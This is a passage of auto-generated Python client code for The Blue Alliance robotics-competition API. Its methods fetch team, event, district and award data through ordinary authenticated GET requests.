noqa: E501 Gets a list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_district_teams_with_http_info(district_key, **kwargs) # noqa: E501 else: (data) = self.get_district_teams_with_http_info(district_key, **kwargs) # noqa: E501 return data def get_district_teams_with_http_info(self, district_key, **kwargs): # noqa: E501 """get_district_teams # noqa: E501 Gets a list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams_with_http_info(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ all_params = ['district_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_district_teams" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'district_key' is set if ('district_key' not in params or params['district_key'] is None): raise ValueError("Missing the required parameter `district_key` when calling `get_district_teams`") # noqa: E501 collection_formats = {} path_params = {} if 'district_key' in params: path_params['district_key'] = params['district_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/district/{district_key}/teams', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Team]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_district_teams_keys(self, district_key, **kwargs): # noqa: E501 """get_district_teams_keys # noqa: E501 Gets a list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams_keys(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_district_teams_keys_with_http_info(district_key, **kwargs) # noqa: E501 else: (data) = self.get_district_teams_keys_with_http_info(district_key, **kwargs) # noqa: E501 return data def get_district_teams_keys_with_http_info(self, district_key, **kwargs): # noqa: E501 """get_district_teams_keys # noqa: E501 Gets a list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams_keys_with_http_info(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['district_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_district_teams_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'district_key' is set if ('district_key' not in params or params['district_key'] is None): raise ValueError("Missing the required parameter `district_key` when calling `get_district_teams_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'district_key' in params: path_params['district_key'] = params['district_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/district/{district_key}/teams/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_district_teams_simple(self, district_key, **kwargs): # noqa: E501 """get_district_teams_simple # noqa: E501 Gets a short-form list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams_simple(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_district_teams_simple_with_http_info(district_key, **kwargs) # noqa: E501 else: (data) = self.get_district_teams_simple_with_http_info(district_key, **kwargs) # noqa: E501 return data def get_district_teams_simple_with_http_info(self, district_key, **kwargs): # noqa: E501 """get_district_teams_simple # noqa: E501 Gets a short-form list of `Team` objects that competed in events in the given district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_district_teams_simple_with_http_info(district_key, async_req=True) >>> result = thread.get() :param async_req bool :param str district_key: TBA District Key, eg `2016fim` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['district_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_district_teams_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'district_key' is set if ('district_key' not in params or params['district_key'] is None): raise ValueError("Missing the required parameter `district_key` when calling `get_district_teams_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'district_key' in params: path_params['district_key'] = params['district_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/district/{district_key}/teams/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_event_teams(self, event_key, **kwargs): # noqa: E501 """get_event_teams # noqa: E501 Gets a list of `Team` objects that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_event_teams_with_http_info(event_key, **kwargs) # noqa: E501 else: (data) = self.get_event_teams_with_http_info(event_key, **kwargs) # noqa: E501 return data def get_event_teams_with_http_info(self, event_key, **kwargs): # noqa: E501 """get_event_teams # noqa: E501 Gets a list of `Team` objects that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_with_http_info(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ all_params = ['event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_event_teams" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_event_teams`") # noqa: E501 collection_formats = {} path_params = {} if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/event/{event_key}/teams', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Team]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_event_teams_keys(self, event_key, **kwargs): # noqa: E501 """get_event_teams_keys # noqa: E501 Gets a list of `Team` keys that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_keys(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_event_teams_keys_with_http_info(event_key, **kwargs) # noqa: E501 else: (data) = self.get_event_teams_keys_with_http_info(event_key, **kwargs) # noqa: E501 return data def get_event_teams_keys_with_http_info(self, event_key, **kwargs): # noqa: E501 """get_event_teams_keys # noqa: E501 Gets a list of `Team` keys that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_keys_with_http_info(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_event_teams_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_event_teams_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/event/{event_key}/teams/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_event_teams_simple(self, event_key, **kwargs): # noqa: E501 """get_event_teams_simple # noqa: E501 Gets a short-form list of `Team` objects that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_simple(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_event_teams_simple_with_http_info(event_key, **kwargs) # noqa: E501 else: (data) = self.get_event_teams_simple_with_http_info(event_key, **kwargs) # noqa: E501 return data def get_event_teams_simple_with_http_info(self, event_key, **kwargs): # noqa: E501 """get_event_teams_simple # noqa: E501 Gets a short-form list of `Team` objects that competed in the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_simple_with_http_info(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_event_teams_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_event_teams_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/event/{event_key}/teams/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_event_teams_statuses(self, event_key, **kwargs): # noqa: E501 """get_event_teams_statuses # noqa: E501 Gets a key-value list of the event statuses for teams competing at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_statuses(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: dict(str, TeamEventStatus) If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_event_teams_statuses_with_http_info(event_key, **kwargs) # noqa: E501 else: (data) = self.get_event_teams_statuses_with_http_info(event_key, **kwargs) # noqa: E501 return data def get_event_teams_statuses_with_http_info(self, event_key, **kwargs): # noqa: E501 """get_event_teams_statuses # noqa: E501 Gets a key-value list of the event statuses for teams competing at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_teams_statuses_with_http_info(event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: dict(str, TeamEventStatus) If the method is called asynchronously, returns the request thread. """ all_params = ['event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_event_teams_statuses" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_event_teams_statuses`") # noqa: E501 collection_formats = {} path_params = {} if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/event/{event_key}/teams/statuses', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='dict(str, TeamEventStatus)', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team(self, team_key, **kwargs): # noqa: E501 """get_team # noqa: E501 Gets a `Team` object for the team referenced by the given key. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: Team If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team # noqa: E501 Gets a `Team` object for the team referenced by the given key. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: Team If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Team', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_awards(self, team_key, **kwargs): # noqa: E501 """get_team_awards # noqa: E501 Gets a list of awards the given team has won. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_awards(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_awards_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_awards_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_awards_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_awards # noqa: E501 Gets a list of awards the given team has won. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_awards_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_awards" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_awards`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/awards', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Award]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_awards_by_year(self, team_key, year, **kwargs): # noqa: E501 """get_team_awards_by_year # noqa: E501 Gets a list of awards the given team has won in a given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_awards_by_year(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_awards_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_awards_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_awards_by_year_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_awards_by_year # noqa: E501 Gets a list of awards the given team has won in a given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_awards_by_year_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_awards_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_awards_by_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_awards_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/awards/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Award]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_districts(self, team_key, **kwargs): # noqa: E501 """get_team_districts # noqa: E501 Gets an array of districts representing each year the team was in a district. Will return an empty array if the team was never in a district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_districts(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[DistrictList] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_districts_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_districts_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_districts_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_districts # noqa: E501 Gets an array of districts representing each year the team was in a district. Will return an empty array if the team was never in a district. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_districts_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[DistrictList] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_districts" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_districts`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/districts', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[DistrictList]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_event_awards(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_awards # noqa: E501 Gets a list of awards the given team won at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_awards(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_event_awards_with_http_info(team_key, event_key, **kwargs) # noqa: E501 else: (data) = self.get_team_event_awards_with_http_info(team_key, event_key, **kwargs) # noqa: E501 return data def get_team_event_awards_with_http_info(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_awards # noqa: E501 Gets a list of awards the given team won at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_awards_with_http_info(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Award] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_event_awards" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_event_awards`") # noqa: E501 # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_team_event_awards`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: 